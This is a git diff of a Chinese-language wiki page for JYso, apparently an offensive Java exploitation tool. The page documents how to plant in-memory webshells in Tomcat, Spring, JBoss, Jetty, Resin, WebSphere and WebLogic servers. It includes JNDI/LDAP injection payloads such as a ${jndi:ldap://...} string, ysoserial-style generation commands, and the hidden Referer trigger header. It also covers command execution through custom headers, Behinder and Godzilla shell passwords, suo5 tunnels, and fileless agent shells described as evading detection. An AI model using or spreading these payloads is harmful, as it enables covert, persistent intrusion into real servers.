Updated 5、Java Mem Shell (markdown)

炁
2026-03-27 10:55:29 +08:00
parent 3f10fbad64
commit 1f5dc05e8c
+10 -113
@@ -1,118 +1,15 @@
# 使用参数
# 注意
内存马:
- 命令 `EX-MS-SpringInterceptorMS-...`:向系统内植入 Spring 拦截器类型的内存马
- 命令 `EX-MS-SpringControllerMS-...`:向系统内植入 Spring Controller 类型的内存马
- 命令 `EX-MS-SpringWebfluxMS-...`:向系统内植入 Spring WebFilter 类型的内存马(仅支持 gz 及 cmd)
- 命令 `EX-MS-TFMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Tomcat Filter 型内存马
- 命令 `EX-MS-TFMSFromRequest-...`:通过在线程组中找 Request 向系统内植入 Tomcat Filter 型内存马
- 命令 `EX-MS-TFMSFromThread-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Filter 型内存马
- 命令 `EX-MS-TLMSFromThread-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Listener 型内存马
- 命令 `EX-MS-TSMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Tomcat Servlet 型内存马
- 命令 `EX-MS-TSMSFromRequest-...`:通过在线程组中找 Request 向系统内植入 Tomcat Servlet 型内存马
- 命令 `EX-MS-TSMSFromThread-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Servlet 型内存马
- 命令 `EX-MS-JBFMSFromContext-...`:通过全局上下文向系统内植入 JBoss/Wildfly Filter 型内存马
- 命令 `EX-MS-JBSMSFromContext-...`:通过全局上下文向系统内植入 JBoss/Wildfly Servlet 型内存马
- 命令 `EX-MS-JFMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Jetty Filter 型内存马
- 命令 `EX-MS-JSMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Jetty Servlet 型内存马
- 命令 `EX-MS-RFMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Resin Filter 型内存马
- 命令 `EX-MS-RSMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Resin Servlet 型内存马
- 命令 `EX-MS-WSFMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Websphere Filter 型内存马
- 命令 `EX-MS-RMIBindTemplate-...`:RMI 型内存马
- 命令 ```cmsMSBYNC```: 绕过Nginx、CDN代理限制的 WebSocket 马,路径`/x`
- 命令 ```proxyMSBYNC```: 绕过Nginx、CDN代理限制的 WebSocket 马,路径`/x`
- 命令 ```WsResin```: 适配 Resin 的 WebSocket 马,请求头中`Upgrade: websocket`
- 命令 ```MsTSJser```: 适配Tomcat、Spring、Jetty的 WebSocket 马,路径`/cmd`
- 命令 ```MsTSJproxy```: 适配Tomcat、Spring、Jetty的 WebSocket 马,路径`/proxy`
- 命令 ```WsWeblogic```: 适配 Weblogic 的 WebSocket 马,路径`/path`
- 命令 ```WSWebsphereProxy```: 适配 Websphere 的 WebSocket 马,路径`/path`
# 用法示例
+ JNDI-Injection-Exploit 用法:
+ shell后可以加额外参数,需要base64编码,参数具体看1.5
```
ldap://127.0.0.1:1389/[Controller]/[M-EX-MS-MemShellClass-...]/shell/base64params
```
+ ysoserial
```
java -jar JYso-[version].jar -y -g [Gadget] -p "[EX-MS-MemShellClass]"
```
原回显类模块已被删除,可通过别的工具生成class文件,或者自定义自己的回显类来调用
# 使用说明
对于植入的内存马及恶意逻辑,首先为了隐藏内存马,通过逻辑进行了判断,需要在请求 Header 中添加 `Referer: https://QI4L.cn/ `,其次执行不同的逻辑:
这个校验的 header 头部和值可以通过 `-hk "Referer" -hv "https://QI4L.cn/"` 来进行自定义指定。
```
${jndi:ldap://127.0.0.1:1389/ELProcessor/M-LF-~/.JYso/Echo.class}
```
1. 如果是 **CMD** 内存马,程序会从 `X-Token-Data` 中读取待执行的命令,并将执行结果进行回显,这个头部可以通过 `-ch "testecho"` 来指定。
![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20240529163056.png)
2. 如果是 **冰蝎** Shell 内存马,可使用冰蝎客户端进行连接管理,密码 `p@ssw0rd`, 可以通过 `-pw "1qaz@WSX"` 来指定。
![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20240530103348.png)
3. 如果是 **哥斯拉** shell 内存马,可使用哥斯拉客户端进行连接管理,pass 值设为 `p@ssw0rd`,key 设为 `key`,哥斯拉内存马同时支持了 RAW 和 Base64,可以通过 `-pw "1qaz@WSX" -gzk "evilkey"` 来指定。
![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20240529182352.png)
4. 如果是 **suo5** 内存马,则会直接创建一个 suo5 隧道,可以直接由 suo5 客户端进行连接,suo5 目前对支持了对自定义 Header 头部进行鉴权,生成时可以通过参数 `-hk "User-Agent" -hv "aaaawww"` 指定,如下可正常连接:
![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20240530113940.png)
在配置中进行配置。
![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20240530113948.png)
项目地址:[https://github.com/zema1/suo5](https://github.com/zema1/suo5),此项目还在积极更新中,会不定期更新相关代码支持相关功能。
5. 如果是 **WebSocket** 内存马,可使用 WebSocket 客户端进行链接,路径为 `/version.txt`,可以使用 `-u "/aaa"` 来指定。
6. 如果是 **Tomcat Executor** 内存马,程序会从 Header 中的 `X-Token-Data` 中读取待执行的命令,并将执行结果在 Header `Server-token` 进行 Base64encode 回显,可以使用 `-ch "testecho"` 来指定。
7. 如果是 **Tomcat Upgrade** 内存马,需要指定 `Connection: Upgrade` 以及 `Upgrade: version.txt`,程序会从 Header 中的 `X-Token-Data` 中读取待执行的命令,并将结果放回 response 中回显,可以使用 `-u "/aaa" -ch "testecho"` 来指定。
# 类型指定
目前支持的直打内存马的类型包括 Tomcat、Jetty、JBoss/Wildfly、Websphere、Resin、Spring。
并可以通过关键字指定内存马的类型,如冰蝎内存马、哥斯拉 Base64 内存马、哥斯拉 RAW 内存马、CMD 命令回显马等,使用方法例子如下:
- `EX-MS-TSMSFromThread-bx`:`冰蝎` 逻辑内存马
- `EX-MS-TSMSFromThread-gz`:`哥斯拉` Base64 逻辑内存马
- `EX-MS-TSMSFromThread-gzraw`:`哥斯拉` RAW 逻辑内存马
- `EX-MS-TSMSFromThread-cmd`:`CMD` 命令回显内存马
- `EX-MS-TSMSFromThread-suo5`:`suo5` suo5 隧道马
另外还本项目目前支持了 Tocmat WebSocket、Upgrade 以及 Executor 命令执行内存马,暂未扩展成多种类型(因为相关工具不支持,需魔改),使用方法例子如下:
- `EX-MS-TWSMSFromThread` : `CMD` 命令回显 WebSocket 内存马
- `EX-MS-TEXMSFromThread` : `CMD` 命令回显 Executor 内存马
- `EX-MS-TUGMSFromJMX` : `CMD` 命令回显 Upgrade 内存马
对于一些非常规的环境,本项目还提供了基于 Java 原生的 RMI 内存马及命令回显方式,通过向 RMI 注册中心绑定一个恶意类,可以随时调用执行命令并回显,使用方法例子如下:
- `EX-MS-RMIBindTemplate-1100-qi4l`: `CMD` 命令回显 RMI 内存马
无文件落地的 Agent 型内存马,通过修改系统关键类字节码,植入内存马,无任何文件落地,全程在内存操作,能绕过多种防护和检测,使用方式 `EX-Agent-Lin/Win-Filter/Servlet-bx/gzraw/gz/cmd`,目前区分 Win/Lin 操作系统,并支持了 Servlet、Tomcat Filter 型内存马,将会持续更新一些 Hook 点,使用方式例如:
- `EX-Agent-Lin-Filter-bx`:在 Linux 系统上对 Tomcat Filter 修改类字节码的冰蝎 Agent 型内存马
本工具支持的全部内存马经过测试可用,但实际受到中间件版本的限制。
# RMI Mem Shell
对于 RMIBindTemplate
是在目标服务器上的指定端口启动注册中心(如果没有),并向其中绑定恶意的后门类,配合 `com.qi4l.jndi.exploit.RMIBindExploit`
进行命令执行
# 解决 Shiro Header 头部过长问题
- 命令 `EX-DefineClassFromParameter`:从 request 中获取指定参数的值进行类加载
在 shiro 等环境下,直接打内存马会出现 header 太长的问题,需要进行一个中转
从 Parameter 默认为 "dc" 中取字符进行 base64 decode,然后进行类加载,参考 ShiroAttack2
这个方法也可以用于加载别处生成的内存马
+ ysoserial
LF- 后面指定class的绝对路径或相对路径即可
```
java -jar JYso-[version].jar -y -g [Gadget] -p "LF-~/.JYso/Echo.class"
```